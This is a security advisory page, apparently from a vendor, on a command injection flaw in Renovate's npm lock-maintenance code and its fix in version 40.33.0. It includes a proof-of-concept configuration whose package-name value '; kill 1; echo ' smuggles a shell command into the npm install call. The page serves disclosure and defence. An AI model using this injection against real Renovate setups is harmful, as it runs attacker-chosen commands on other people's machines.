GHSA-fr4j-65pv-gjjj — renovate
MEDIUMGHSA-fr4j-65pv-gjjj is a medium-severity (CVSS 6.7) CWE-77 vulnerability in renovate. A fix is available for renovate — see the affected versions and patch details below.
Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fr4j-65pv-gjjj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-fr4j-65pv-gjjj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
renovatenpmDescription
Summary
The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.
Details
Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["npm"],
// Provide a command in the package name
overridePackageName: "; kill 1; echo ",
// Override the datasource to prevent a lookup failure
overrideDatasource: "custom.always",
},
],
}
package.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
}
package-lock.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
},
"node_modules/uuid": {
"version": "11.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
"integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
"funding": [
"https://github.com/sponsors/broofa",
"https://github.com/sponsors/ctavan"
],
"license": "MIT",
"bin": {
"uuid": "dist/esm/bin/uuid"
}
}
}
}
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept relies on the introduction of the
overrideDatasourceandoverridePackageNameconfiguration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | renovate | ≥ 35.63.0&&< 40.33.0 | 40.33.0npm install renovate@40.33.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update renovate to 40.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fr4j-65pv-gjjj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fr4j-65pv-gjjj can be triaged on real exposure rather than presence alone.
Tailored to GHSA-fr4j-65pv-gjjj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fr4j-65pv-gjjj in your dependencies?
O3 Security finds GHSA-fr4j-65pv-gjjj across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.